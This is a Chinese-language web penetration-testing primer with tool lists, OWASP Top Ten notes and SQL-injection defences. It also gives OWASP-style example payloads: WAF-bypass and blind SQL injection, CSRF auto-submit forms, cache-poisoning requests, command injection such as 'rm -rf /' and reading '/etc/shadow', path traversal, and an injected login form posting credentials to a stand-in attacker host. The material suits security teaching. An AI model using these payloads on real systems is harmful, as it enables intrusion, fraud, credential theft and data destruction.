web渗透入门

来源:互联网 发布:网络ip是什么意思啊 编辑:程序博客网 时间:2024/05/16 11:04
目录
工具... 2
攻击类型... 2
SQL注入... 2
Exploit网站及工具... 3
预防SQL注入... 13
攻击类型... 15
跨站点请求伪造... 19
缓存投毒... 20
代码注入... 21
注释注入... 23
Xpath注入... 25
XSS. 27
目录遍历... 29
爆路径... 31
跨用户攻击... 32
会话固定攻击... 33
PHP对象攻击... 34
HTTP请求走私... 36
HTTP响应拆分... 38
 


工具
Metasploit
Nessus
Nmap
BurpSuite
SQLmap
明小子、啊D、NBSI、HDSI
 
 
攻击类型
弱口令
IPC$                  windows共享
IIS写权限漏洞        windows server
%5c暴库         access asp
 
 
 
 
SQL注入
 
可注入判断:
and 1=1 结果不变
SQL版本判断:
1.select version()     select @@version   select@@global.version
2.不同的符号组合对于不同数据库的应答
确定列数:
1.order by index
2.union select 1,2,3…     (2次查询列名匹配)
获取表名/列名:
Select schema_name from Information_schema.schemata/selecttable_name from information_schemata.tables
显错->文件路径
 
 
 
 
 
伪静态注入
        动态网站将查询部分转换成目录访问
        http://www.XXX.com/game.php?action=play&amp     =>   
 
OWASP十大热门威胁:
第一位: 注入                                                   SQLInject Me
        SQL查询语句、LDAP查询语句、Xpath查询语句、OS命令、XML解析器、SMTP头、程序参数等
        解决:使用安全api、escape语法、白名单规范化输入
第二位: 会话劫持                                           HackBar
        退出、密码管理、超时、记住我、秘密问题、帐户更新等中
        1.用户身份验证凭证没有使用哈希或加密保护。
2. 认证凭证可猜测,或者能够通过薄弱的的帐户管理功能(例如账户创建、密码修改、密码恢复, 弱会话ID)重写。
3. 会话ID暴露在URL里 (例如, URL重写) 。
4. 会话ID容易受到会话固定(sessionfixation)的攻击。
5. 会话ID没有超时限制,或者用户会话或身份验证令牌
特别是单点登录令牌在用户注销时没有失效。
6. 成功注册后,会话ID没有轮转。
7. 密码、会话ID和其他认证凭据使用未加密连接传输。
解决:
一套单一的强大的认证和会话管理控制系统。这套控制系统应:
a) 满足OWASP的应用程序安全验证标准(ASVS)中V2(认证)和V3(会话管理)中制定的所有认证和会话管理的要求。
b) 具有简单的开发界面。 ESAPI认证器和用户API是可以仿照、使用或扩展的好范例。
第三位: 跨站点脚本 (简称XSS)          ZAP
        当应用程序发送给浏览器的页面中包含用户提供的数据,而这些数据没有经过适当的验证或转义
1)  存储式;2)反射式;3)基于DOM的XSS。
解决:
1. 最好的办法是根据数据将要置于的HTML上下文(包括主体、属性、JavaScript、CSS或URL)对所有的不可信数据进行恰当的转义 (escape) 。更多关于数据转义技术的信息见OWASPXSS Prevention Cheat Sheet 。
2. 使用正面的或“白名单”的, 具有恰当的规范化和解码功能的输入验证方法同样会有助于防止跨站脚本。但由于很多应用程序在输入中需要特殊字符,这一方法不是完整的防护方法。这种验证方法需要尽可能地解码任何编码输入,同时在接受输入之前需要充分验证数据的长度、字符、格式、和任何商务规则。
3. 考虑使用内容安全策略(CSP)来抵御整个网站的跨站脚本攻击。
第四位: 对不安全对象的直接引用              Burp
第五位: 安全配置错误                                   Watobo
第六位: 敏感信息泄露
第七位: 功能级访问控制缺失                     
第八位: 伪造的跨站点请求(简称CSRF)     
第九位: 使用含有已知漏洞的组件             
第十位: 未经验证的重新指向及转发
 
Exploit网站及工具
exploit网站
        http://www.expku.com/
        https://packetstormsecurity.com/
        https://www.exploit-db.com/google-hacking-database/
        http://android.scap.org.cn/
        http://cve.scap.org.cn/
http://www.cvedetails.com/
http://www.freebuf.com/
https://packetstormsecurity.com/
 
 
Android嗅探工具:
dSploit     http://www.dsploit.NET/
        端口扫描
漏洞发现
对路由器扫描
伪造数据包
会话控制(需要MSF RPC 连接)
中间人攻击
密码破解
有能力可以攻占路由器( 没成功 )
Network Spoofer     http://www.digitalsquid.co.uk/netspoof/
 
zAnti        https://www.zimperium.com/zanti-mobile-penetration-testing
网络诊断,复杂的审计和渗透测试
中间人攻击和包探嗅
非常有好的界面
namap端口扫描,探测出操作系统
密码分析
DroidSheep     http://droidsheep.de/
WireShark
Fiddler
 
Unhide    http://www.unhide-forensics.info
一个查寻隐藏了进程和端口的Rootkits/LKMs或其它隐藏技术的探测鉴定工具。Unhide可以运行于Linux/Unix和windows系统。
Lynis                 https://cisofy.com/download/lynis/
一款安全审计工具,用来测试和收集基于Unix的系统的安全信息。这款工具的使用者是安全和系统审计人员,网络专家和系统运维。Lynis在系统上执行深度本地扫描,因此比基于网络的漏洞扫描更加深入。通过bootloader开始,直到安装文件包。分析之后,他向管理员展示扫描结果,包括系统加固方案。
Pompem
        查找exploit
 
kali-linux工具集:
信息搜集
信息搜集工具集又分为DNS分析、IDS/IPS识别、SMB分析、SMTP分析、SNMP分析、SSL分析、VoIP分析、VPN分析、存活主机识别、电话分析、服务指纹识别、流浪分析、路由分析、情报分析、系统指纹识别
acccheck
ace-voip
Amap
Automater
bing-ip2hosts
braa
CaseFile
CDPSnarf
cisco-torch
Cookie Cadger
copy-router-config
DMitry
dnmap
dnsenum
dnsmap
DNSRecon
dnstracer
dnswalk
DotDotPwn
enum4linux
enumIAX
exploitdb
Fierce
Firewalk
fragroute
fragrouter
Ghost Phisher
GoLismero
goofile
hping3
InTrace
iSMTP
lbd
Maltego Teeth
masscan
Metagoofil
Miranda
Nmap
ntop
p0f
Parsero
Recon-ng
SET
smtp-user-enum
snmpcheck
sslcaudit
SSLsplit
sslstrip
SSLyze
THC-IPV6
theHarvester
TLSSLed
twofi
URLCrazy
Wireshark
WOL-E
Xplico
 
漏洞分析
        漏洞分析工具集,分为Cisco工具集、Fuzzing工具集、OpenVAS、开源评估软件、扫描工具集、数据库评估软件
BBQSQL
BED
cisco-auditing-tool
cisco-global-exploiter
cisco-ocs
cisco-torch
copy-router-config
DBPwAudit
Doona
DotDotPwn
Greenbone Security Assistant
GSD
HexorBase
Inguma
jSQL
Lynis
Nmap
ohrwurm
openvas-administrator
openvas-cli
openvas-manager
openvas-scanner
Oscanner
Powerfuzzer
sfuzz
SidGuesser
SIPArmyKnife
sqlmap
Sqlninja
sqlsus
THC-IPV6
tnscmd10g
unix-privesc-check
Yersinia
 
漏洞利用
Armitage
Backdoor Factory
BeEF
cisco-auditing-tool
cisco-global-exploiter
cisco-ocs
cisco-torch
Commix
crackle
jboss-autopwn
Linux Exploit Suggester
Maltego Teeth
SET
ShellNoob
sqlmap
THC-IPV6
Yersinia
 
无线攻击
        包含RFID/NFC工具集、SoftwareDefined Radio、蓝牙工具集、其他无线工具、无线工具集
Aircrack-ng
Asleap
Bluelog
BlueMaho
Bluepot
BlueRanger
Bluesnarfer
Bully
coWPAtty
crackle
eapmd5pass
Fern Wifi Cracker
Ghost Phisher
GISKismet
Gqrx
gr-scan
kalibrate-rtl
KillerBee
Kismet
mdk3
mfcuk
mfoc
mfterm
Multimon-NG
PixieWPS
Reaver
redfang
RTLSDR Scanner
Spooftooph
Wifi Honey
Wifitap
Wifite
 
 
取证工具
        包含PDF取证工具集、反数字取证、密码取证工具集、内存取证工具集、取证分割工具集、取证分析工具集、取证哈希验证工具集、取证镜像工具集、杀毒取证工具集、数字取证、数字取证套件。
Binwalk
bulk-extractor
Capstone
chntpw
Cuckoo
dc3dd
ddrescue
DFF
diStorm3
Dumpzilla
extundelete
Foremost
Galleta
Guymager
iPhone Backup Analyzer
p0f
pdf-parser
pdfid
pdgmail
peepdf
RegRipper
Volatility
Xplico
 
Web 渗透
包含CMS识别、IDS/IPS识别、Web漏洞扫描、Web爬行、Web应用代理、Web应用漏洞挖掘、Web库漏洞利用
apache-users
Arachni
BBQSQL
BlindElephant
Burp Suite
CutyCapt
DAVTest
deblaze
DIRB
DirBuster
fimap
FunkLoad
Grabber
jboss-autopwn
joomscan
jSQL
Maltego Teeth
PadBuster
Paros
Parsero
plecost
Powerfuzzer
ProxyStrike
Recon-ng
Skipfish
sqlmap
Sqlninja
sqlsus
ua-tester
Uniscan
Vega
w3af
WebScarab
Webshag
WebSlayer
WebSploit
Wfuzz
WPScan
XSSer
zaproxy
 
压力测试
        包含VoIP压力测试、Web压力测试、网络压力测试、无线压力测试
DHCPig
FunkLoad
iaxflood
Inundator
inviteflood
ipv6-toolkit
mdk3
Reaver
rtpflood
SlowHTTPTest
t50
Termineter
THC-IPV6
THC-SSL-DOS
 
嗅探工具
        包含VoIP、Web嗅探、网络欺骗、网络嗅探、语言监控
Burp Suite
DNSChef
fiked
hamster-sidejack
HexInject
iaxflood
inviteflood
iSMTP
isr-evilgrade
mitmproxy
ohrwurm
protos-sip
rebind
responder
rtpbreak
rtpinsertsound
rtpmixsound
sctpscan
SIPArmyKnife
SIPp
SIPVicious
SniffJoke
SSLsplit
sslstrip
THC-IPV6
VoIPHopper
WebScarab
Wifi Honey
Wireshark
xspy
Yersinia
zaproxy
 
密码攻击
包括GPU工具集、Passing the Hash、离线攻击、在线攻击
acccheck
Burp Suite
CeWL
chntpw
cisco-auditing-tool
CmosPwd
creddump
crunch
DBPwAudit
findmyhash
gpp-decrypt
hash-identifier
HexorBase
THC-Hydra
John the Ripper
Johnny
keimpx
Maltego Teeth
Maskprocessor
multiforcer
Ncrack
oclgausscrack
PACK
patator
phrasendrescher
polenum
RainbowCrack
rcracki-mt
RSMangler
SQLdict
Statsprocessor
THC-pptp-bruter
TrueCrack
WebScarab
wordlists
zaproxy
 
后门工具
        包含Tunnel工具集、Web后门、系统后门
CryptCat
Cymothoa
dbd
dns2tcp
http-tunnel
HTTPTunnel
Intersect
Nishang
polenum
PowerSploit
pwnat
RidEnum
sbd
U3-Pwn
Webshells
Weevely
Winexe
 
硬件攻击
        包括Android工具集、Arduino工具集
android-sdk
apktool
Arduino
dex2jar
Sakis3G
smali
 
逆向工程
        包含了Debug工具集、反编译、其他逆向工具集
apktool
dex2jar
diStorm3
edb-debugger
jad
javasnoop
JD-GUI
OllyDbg
smali
Valgrind
YARA
 
报告工具
        包含Domentation、媒体捕捉、证据管理
CaseFile
CutyCapt
dos2unix
Dradis
KeepNote
MagicTree
Metagoofil
Nipper-ng
pipal
 
 


预防SQL注入
由于以下2点原因,SQL注入十分流行:
        SQL注入漏洞的广泛存在
        目标的价值(数据库包含所有有趣和危险的信息)
SQL注入攻击的避免方法很简单(然而遗憾的是有如此多的成功攻击事件发生):
        停止写入动态查询语句
        阻止包含恶意SQL语句的的输入数据
防御方式:
        主要防御方式:
                 使用预处理语句(参数化查询)
                         这种语句强制定义所有SQL代码,然后将每个参数传递给查询语句;可以区分用户输入的代码和数据,保证攻击者在输入SQL命令时不能改变查询语句的原始意图,在攻击者输入userID为tom’ or ‘1’=’1时,参数化查询只关注匹配的文本tom
                         语言相关的预处理语句:
                         JavaEE              绑定参数的PreparedStatement()
                         .NET                 绑定参数的SqlCommand()OleDbCommand()等参数化查询函数
                         PHP                  使用强类型参数化查询(bingdParam())的PDO
                         hibernate        使用绑定参数的createQuery()
                         SQLite              使用sqlite_prepare创建statement对象
                         使用与处理语句几乎不会影响性能,如果产生影响最好的办法是使用a)深度验证所有数据b)转移用户输入
                 使用存储过程
                         存储过程对于SQL注入并不绝对安全,然而如果正确实现存储过程(不安全的动态SQL语句生成),其和参数化查询效果相同,如果开发者按标准来,存储过程会自动参数化语句,和预处理语句的区别是对于存储过程,SQL代码被定义和存储在数据库本身,然后由程序调用。
                         下面几种情况下存储过程可能增加风险,例如MSSQL server
                 使用转义规范输入
        附加防御方式:
                 强制最小化权限
                 白名单输入验证
 
不安全案例
String query = "SELECT account_balanceFROM user_data WHERE user_name = "
   +request.getParameter("customerName");
 try{
       Statement statement =connection.createStatement( … );
       ResultSet results =statement.executeQuery( query );
 }
 
使用预处理语句的安全的Java案例
String custname = request.getParameter("customerName");// This should REALLY be validated too
 //perform input validation to detect attacks
 String query = "SELECT account_balanceFROM user_data WHERE user_name = ? ";
 PreparedStatement pstmt =connection.prepareStatement( query );
 pstmt.setString( 1, custname);
 ResultSet results = pstmt.executeQuery( );
 
使用存储过程的安全Java案例
String custname =request.getParameter("customerName"); // This should REALLY bevalidated
 try{
       CallableStatement cs =connection.prepareCall("{call sp_getAccountBalance(?)}");
       cs.setString(1, custname);
       ResultSet results = cs.executeQuery();           
       // … result set handling
 }catch (SQLException se) {                   
       // … logging and error handling
 }
 
使用存储过程的安全VB.NET案例
Try
       Dim command As SqlCommand = newSqlCommand("sp_getAccountBalance", connection)
       command.CommandType = CommandType.StoredProcedure
       command.Parameters.Add(newSqlParameter("@CustomerName", CustomerName.Text))
       Dim reader As SqlDataReader =command.ExecuteReader()
       ‘ …
 Catch se As SqlException
       ‘ error handling
 EndTry
 
使用预处理语句的安全的C#.NET案例
String query =
        "SELECT account_balance FROM user_dataWHERE user_name = ?";
 try{
       OleDbCommand command = newOleDbCommand(query, connection);
       command.Parameters.Add(newOleDbParameter("customerName", CustomerName Name.Text));
       OleDbDataReader reader =command.ExecuteReader();
       // …
 }catch (OleDbException se) {
       // error handling
 }
 
使用预处理语句的安全的Hibernate案例
First is an unsafe HQL Statement
 Query unsafeHQLQuery =session.createQuery("from Inventory whereproductID='"+userSuppliedParameter+"'");
 Hereis a safe version of the same query using named parameters
 Query safeHQLQuery = session.createQuery("fromInventory where productID=:productid");
 safeHQLQuery.setParameter("productid",userSuppliedParameter);
 
 
 
 
 
 
 
 
 


攻击类型
功能滥用
Account lockout attack   账号锁定攻击
        攻击者尝试使用户账号验证失败(例如故意发送错误密码3次)从而导致合法用户无法访问账户,如果规模较大可以导致拒绝服务攻击
Cache Poisoning              缓存投毒
Cross-User Defacement  跨用户攻击
 
认证漏洞
Cross-Site Request Forgery (CSRF)  跨站点请求伪造
Session fixation                会话固定攻击
Session hijacking attack  会话劫持攻击
由于http通信使用多个不同tcp连接,web服务器需要一种方式识别每个用户的连接,而最常用的方式就是在成功认证后发送给用户令牌。会话令牌是变长的字符串,有多种使用方式,例如url,http请求头,cookie,http body等,会话劫持攻击通过窃取或预测一个有效会话令牌访问web服务器,常见的方式有:
        可预测会话令牌
        会话嗅探
        客户端攻击(XSS,JS,Trojan,etc)
        中间人攻击
        中间浏览器攻击
Man-in-the-middle          中间人攻击
        中间人攻击拦截2个系统间的通信,例如http连接是客户端和服务器间的tcp连接,使用多种技术攻击者将原始tcp连接拆分2个新连接,一个连接客户端和攻击者,一个连接攻击者和服务器,攻击者作为代理可以随意修改通信过程。由于http协议传输基于ascii码,MITM攻击十分高效;对于https连接,攻击者依然采用同样的方式,只不过建立的是2条基于tcp的ssl会话链接,通常浏览器会警告用户数字证书无效,而用户可能无视警告,在某些情况下甚至不出现警告。
        MITM攻击工具(局域网):PacketCreator,Ettercap,Dsniff,Caine Abel
        MITM代理工工具:OWASPWebScarab,Paros Proxy,Burp Proxy,ProxyFuzz,Odysseus Proxy,Fiddler
Man-in-the-browser        中间浏览器攻击
        类似于中间人攻击,使用木马拦截程序间调用,手段有:BHO,Extensions,API Hook,JavaScript
 
注入
SQL Injection   SQL注入
        一种注入式攻击,通过输入数据中构造SQL命令读写数据库,由于PHP和ASP旧功能的流行,广泛存在,而J2EE和ASP.NET由于可编程接口而不容易受SQL注入影响;SQL注入依赖于攻击者的技巧和想象力以及网站的防御深度。
SQL Injection Bypassing WAF 绕过防火墙的SQL注入
        拦截规则:/?id=1+union+select+1,2,3/*
        攻击:/?id=1/*union*/union/*select*/select+1,2,3/*
        攻击:/?id=1+un/**/ion+sel/**/ect+1,2,3—
        拦截规则:/?id=1;select+1,2,3+from+users+where+id=1—
        攻击:/?id=1;select+1&id=2,3+from+users+where+id=1—
 
        方式1:HTTP参数污染(HPP)
        目标:SQL="select key from table where id= "+Request.QueryString("id")
        攻击:/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
        方式2:HTTP参数分裂(HPF)
        目标:Query("select* from table where a=".$_GET['a']." and b=".$_GET['b']);
                        Query("select * fromtable where a=".$_GET['a']." and b=".$_GET['b']."limit".$_GET['c']);
        规则:/?a=1+union+select+1,2/*
攻击:/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
方式3:盲注
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
其他技巧:
符号替换:用(!=<> < >代替=号是许多waf忽略的一点
函数替换:substring()-> mid(), substr()        ascii() ->hex(), bin()        benchmark() ->sleep()
        在下面几种情况下SQL注入可以绕过WAF:
                 WAP处理请求的漏洞
                 HPP或HPF策略
                 绕过过滤规则(特征)
                 盲注漏洞
                 app执行逻辑攻击
XPATH Injection
Blind SQL Injection          SQL盲注
        盲注是一种SQL注入,在数据库只查询表达式为true或false,通常用于web app配置为不显示通用错误消息,而未对SQL注入做处理。和SQL注入相比不同在于从数据库返回的数据上,如果数据库不向网页输出数据那么可以通过查询一系列true或false的问题得到数据
        例;基于内容的盲注
        http://newspaper.com/items.php?id=2         SELECT title, description, body FROMitems WHERE ID = 2
        http://newspaper.com/items.php?id=2and 1=2   SELECT title, description, bodyFROM items WHERE ID = 2 and 1=2
        http://newspaper.com/items.php?id=2and 1=1
        基于时间的盲注
        MicrosoftSQL Server     http://www.site.com/vulnerable.php?id=1'waitfor delay '00:00:10'--           
        MySQL   1 UNION SELECTIF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5seconds')),null) FROM users WHERE user_id = 1;
Blind XPath Injection      
Code Injection                  代码注入
Cross-site Scripting (XSS)
Format string attack       格式化字符串漏洞
Full Path Disclosure         爆路径
LDAP injection
        LDAP是轻量目录访问协议,英文全称是Lightweight Directory Access Protocol,LDAP注入攻击含有LDAP语句的输入,如果没有正确处理用户输入可能导致利用本地代理修改LDAP语句,从而执行任意命令例如授权给未授权的查询,或者修改LDAP树内容
例:
<input type="text" size=20name="userName">Insert the username</input>
String ldapSearchQuery = "(cn=" + $userName +")";
System.out.println(ldapSearchQuery);
若用户输入*则会显示所有LDAP库
若用户输入jonys(|(password=*))则会生成jony的密码
PHP Object Injection       PHP对象注入
Resource Injection           资源注入
        利用未验证的输入访问资源,php特殊字符如. / \的允许使用会增加风险
例:未验证端口导致被监听
String rPort =request.getParameter("remotePort");
ServerSocketsrvr = new ServerSocket(rPort);
Socket skt =srvr.accept();
Server-Side Includes (SSI) Injection
Special Element Injection        特殊元素注入
        一种针对保留字和特殊字符的漏洞,在app解析时观察未定义行为,可能导致信息泄露、访问控制授权绕过,代码注入等,按照使用的字符可分为宏符号、参数分割和空字节注入
        例:mem.php
        <?
Jose|12345678|jose@attack.com|admin|
Alice|87654321|alice@attack.com|normal|
?>
输入:
Username: Alice
Password: 87654321
Email: alice@attack.com |admin|
最终信息:
Alice|87654321|alice@attack.com|admin|normal|
 
概率攻击
Brute force attack   暴力攻击
        就效率而言攻击者可以选择字典攻击或暴力攻击,暴力攻击(通常通过GET POST请求)用于攻击认证和发现web app隐藏的内容
Cryptanalysis           密码分析
        找出密码学算法漏洞并解密
 
协议攻击
HTTP Request Smuggling        HTTP请求走私
HTTP Response Splitting         HTTP响应拆分
 
资源消耗
Asymmetric resource consumption(amplification)
Denial of Service
Traffic flood
 
资源攻击
Comment Injection Attack      注释注入攻击
Double Encoding                     双重编码
        该技术将用户请求进行2次16进制编码,用于攻破安全机制或引起程序未定义行为。web服务器支持多种编码形式。使用该技术可能攻破只解码输入一次的过滤程序,第一层解码由http协议完成,第二层解码由平台或处理数据的模块完成,在该层没有检查安全性,攻击者可以注入双重编码到路径或查询语句中突破安全机制。
        在攻击中一些字符集经常使用,例如路径遍历使用../,xss攻击使用<>,../的16进制形式%2E%2E%2F,双重编码形式%252E%252E%252F
        例
        IIS4.0-5.0的漏洞
        http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
        http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
        <script>alert('XSS')</script>
        %253Cscript%253Ealert('XSS')%253C%252Fscript%253E
Forced browsing              暴力浏览
Path Traversal                  目录遍历
       


跨站点请求伪造
        对于大部分网站,浏览器请求会包含任何凭据包括会话cookie,ip地址,域证书等,如果用户已经在该站认证,站点本身是无法区分用户发送的请求是否伪造。CSRF攻击会造成服务器上的状态变化,例如修改用户的email或密码等,这些请求会发给用户而不是攻击者。有时CSRF攻击存储在有漏洞的站点中,这种称为存储型CSTF,可以通过存储IMG或IFRAME标签实现,这种攻击严重性较高,因为用户更可能点击漏洞站点而不是一些随机的网址
        以下方式不能预防CSRF:
        使用secretcookie
        只接受post请求
        URL重写
        HTTPS
例:
        GET方式攻击
        原始:GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1
        攻击:
<ahref="http://bank.com/transfer.do?acct=MARIA&amount=100000">Viewmy Pictures!</a>
<imgsrc="http://bank.com/transfer.do?acct=MARIA&amount=100000"width="0" height="0" border="0">
       
        POST方式攻击
        原始:POST http://bank.com/transfer.do HTTP/1.1 acct=BOB&amount=100
        攻击:
        <formaction="http://bank.com/transfer.do" method="POST">
<inputtype="hidden" name="acct" value="MARIA"/>
<inputtype="hidden" name="amount" value="100000"/>
<inputtype="submit" value="View my pictures"/>
</form>
        <bodyonload="document.forms[0].submit()">
       
        其他方式
        原始:PUT http://bank.com/transfer.do HTTP/1.1 {"acct":"BOB", "amount":100 }
        攻击:
<script>
function put() {
        var x = new XMLHttpRequest();
        x.open("PUT","http://bank.com/transfer.do",true);
        x.setRequestHeader("Content-Type","application/json");
        x.send(JSON.stringify({"acct":"BOB","amount":100}));
}
</script>
<body onload="put()">
 


缓存投毒
        由于http拆分响应漏洞的存在,产生了此类攻击,实际环境中很难实施这种攻击,成功执行该种攻击需要:
        找到服务器代码漏洞,以此向http头域填充
        强制缓存服务器刷新内容
        发送伪造请求,并存入缓存
        发送下一次请求,之前注入的内容会响应该次请求
        关键在于允许头部域填充CR和LF字符,
例:http://testsite.com/redir.php?page=http://other.testsite.com/
rezos@dojo~/public_html $ cat redir.php
<?php
header("Location: " . $_GET['page']);
?>
 
伪造请求:
1移除缓存
GEThttp://testsite.com/index.html HTTP/1.1
Pragma:no-cache
Host:testsite.com
User-Agent:Mozilla/4.7 [en] (WinNT; I)
Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png,*/*
Accept-Encoding:gzip
Accept-Language:en
Accept-Charset:iso-8859-1,*,utf-8
2使用http拆分响应使缓存服务器生成2个响应
GEThttp://testsite.com/redir.php?site=%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-
Modified:%20Mon,%2027%20Oct%202009%2014:50:18%20GMT%0d%0aConte
nt-Length:%2020%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a<html>deface!</html>HTTP/1.1
Host:testsite.com
User-Agent:Mozilla/4.7 [en] (WinNT; I)
Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png,*/*
Accept-Encoding:gzip
Accept-Language:en
Accept-Charset:iso-8859-1,*,utf-8
3发送请求,替换缓存
GEThttp://testsite.com/index.html HTTP/1.1
Host:testsite.com
User-Agent:Mozilla/4.7 [en] (WinNT; I)
Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png,*/*
Accept-Encoding:gzip
Accept-Language:en
Accept-Charset:iso-8859-1,*,utf-8
理论上缓存服务器会匹配第二个回应,这样我们就替换了缓存


代码注入
代码注入是在存在漏洞程序的目标系统执行任意命令,发生条件是向终端传递了不安全的数据(表格/cookies/http头等)而没有执行足够的输入验证,拥有和受害程序同样的权限
例1
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
 charcat[] = "cat ";
 char*command;
 size_t commandLength;
 commandLength = strlen(cat) + strlen(argv[1])+ 1;
 command = (char *) malloc(commandLength);
 strncpy(command, cat, commandLength);
 strncat(command, argv[1], (commandLength -strlen(cat)) );
 system(command);
 return (0);
}
 
$ ./catWrapper "Story.txt; ls"
When last we left our heroes...
Story.txt               doubFree.c              nullpointer.c
unstosig.c              www*                    a.out*
format.c                strlen.c                useFree*
catWrapper*             misnull.c               strlength.c             useFree.c
commandinjection.c      nodefault.c             trunc.c                 writeWhatWhere.c
 
例2
int main(char* argc, char** argv) {
charcmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd,argv[1]);
system(cmd);
}
传入";rm -rf /"
 
例3
char* home=getenv("APPHOME");
char*cmd=(char*)malloc(strlen(home)+strlen(INITCMD));
if (cmd) {
           strcpy(cmd,home);
           strcat(cmd,INITCMD);
           execl(cmd, NULL);
}
在$APPHOME中指定INITCMD为恶意程序
 
例4
下面是一个修改用户密码的CGI应用,在/var/yp下面运行make,
system("cd /var/yp && make&> /dev/null");
攻击者可以修改$PATH变量指向恶意的make来执行恶意代码
Runtime.exe和system()是不同的,system()将参数传递给/bin/sh解析,而Runtime.exe尝试将第一个词作为程序,其他词作为参数,因此危险的表达式(& && | || etc)作为参数执行会产生语法错误或导致异常
 
例5
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
    char command[256];
    if(argc != 2) {
         printf("Error: Please enter a program to time!\n");
         return -1;
    }
    memset(&command, 0, sizeof(command));
    strcat(command, "time ./");
    strcat(command, argv[1]);
    system(command);
    return 0;
}
传入ls; cat /etc/shadow
 
例6
<?php
print("Please specify the name of thefile to delete");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>
 
Request
http://127.0.0.1/delete.php?filename=bob.txt;id
Response
Please specifythe name of the file to delete
uid=33(www-data)gid=33(www-data) groups=33(www-data)
 
 
 


注释注入
        在攻击中使用注释语句产生未定义行为
数据库注释实例:
SELECT body FROM items WHERE id = $ID limit1;
输入"1 or 1=1; #",那么实际执行语句为
SELECT body FROM items WHERE id = 1 or 1=1;# limit 1;
Limit 1被注释所有结果都会显示
常用数据库注释语句:
MYSQL             #      --
MSSQL             --
MSAccess        %00
Oracle              --
 
嵌入零字节
某些语言字符串以零字节结束,若未对零字节输入进行处理,在攻击中插入零字节可以产生某些效果,例如MS Access数据库,其变体如下
PATH%00
PATH[0x00]
PATH[alternate representation of NULLcharacter]
<script></script>%00
 
PHP脚本实例
$whatever =addslashes($_REQUEST['whatever']);
include("/path/to/program/" .$whatever . "/header.htm");
构造请求http://vuln.example.com/phpscript.php?whatever=../../../etc/passwd%00
Adobe PDF ActiveX实例
结合缓冲区溢出漏洞,请求GET /some_dir/file.pdf.pdf%00[long string] HTTP/1.1
 
Shell注释实例:(注释符#)
Find.php
<?
$ =sth $_GET['what];
system("/usr/bin/find -name '$sth'-type f");
?>
输入/find.php?what=*'%20%23,语句变成usr/bin/find-name '*' #-type f
 
Html注释实例:(注释符<!--)
<?php
print "hello!: ";
print $_GET['user'];
print " Welcome friend!";
?>
输入GET /invisible.php?user=<!--,结果为hello!:
 
例:html注入
        <?php
    $name = $_REQUEST['name'];
?>
<html>
        <h1>Welcome tothe Internet!</h1>
        <br>
        <body>
            Hello, <?php echo $name; ?>!
            <p>We are so glad you arehere!</p>
        </body>
</html>
正常的请求:http://127.0.0.1/vulnerable.php?name=test
修改的请求:http://127.0.0.1/vulnerable.php?name=<h3>PleaseEnter Your Username and Password to Proceed:</h3><form method="POST"action="http://attackerserver/login.php">Username: <inputtype="text" name="username" /><br />Password:<input type="password" name="password" /><br/><input type="submit" value="Login"/></form><!--
 
文本注入:
正常网址:http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now
修改网址:http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now
 


Xpath注入
        Xpath是用于描述如何在XML文档定位元素的查询语言,与SQL不同在于可以无限制访问XML文档的任何部分,而SQL中user只限于某些数据库表的访问。通过发送构造的而已语句,攻击者可以发现xml结构组织和正常不能访问的数据,甚至提权。xpath是一种标准语言,其注释/语法总是独立实现,这意味着攻击可被自动化,在查询方面和SQL数据库类似
例:
<?xml version="1.0"encoding="utf-8"?>
<Employees>
  <Employee ID="1">
     <FirstName>Arnold</FirstName>
     <LastName>Baker</LastName>
     <UserName>ABaker</UserName>
     <Password>SoSecret</Password>
     <Type>Admin</Type>
  </Employee>
  <Employee ID="2">
     <FirstName>Peter</FirstName>
     <LastName>Pan</LastName>
     <UserName>PPan</UserName>
     <Password>NotTelling</Password>
     <Type>User</Type>
  </Employee>
</Employees>
查询语句:
VB:
Dim FindUserXPath as String
FindUserXPath ="//Employee[UserName/text()='" & Request("Username")& "' And
       Password/text()='" & Request("Password") &"']"
C#:
String FindUserXPath;
FindUserXPath ="//Employee[UserName/text()='" + Request("Username") +"' And
       Password/text()='" + Request("Password") +"']";
攻击:
Username: blah' or 1=1 or 'a'='a
Password: blah
FindUserXPath becomes//Employee[UserName/text()='blah' or 1=1 or
        'a'='a' And Password/text()='blah']
Logically this is equivalent to:
       //Employee[(UserName/text()='blah' or 1=1) or
       ('a'='a' And Password/text()='blah')]
 
类似于SQL注入,XPath注入的防御需要标准化参数或者转义用户输入,如
VB:
Dim FindUserXPath as String
FindUserXPath ="//Employee[UserName/text()='" &Request("Username").Replace("'", "&apos;")& "' And
       Password/text()='" & Request("Password").Replace("'","&apos;") & "']"
C#:
String FindUserXPath;
FindUserXPath ="//Employee[UserName/text()='" +Request("Username").Replace("'", "&apos;") +"' And
       Password/text()='" + Request("Password").Replace("'","&apos;") + "']";
 
 


XSS
        是一种恶意脚本注入,通常使用浏览器脚本发送恶意代码,可以窃取cookie,会话令牌甚至修改html页,发生的原因有:
        数据通过不可信源进入webapp的数据
        未经验证的数据在动态内容中发给用户
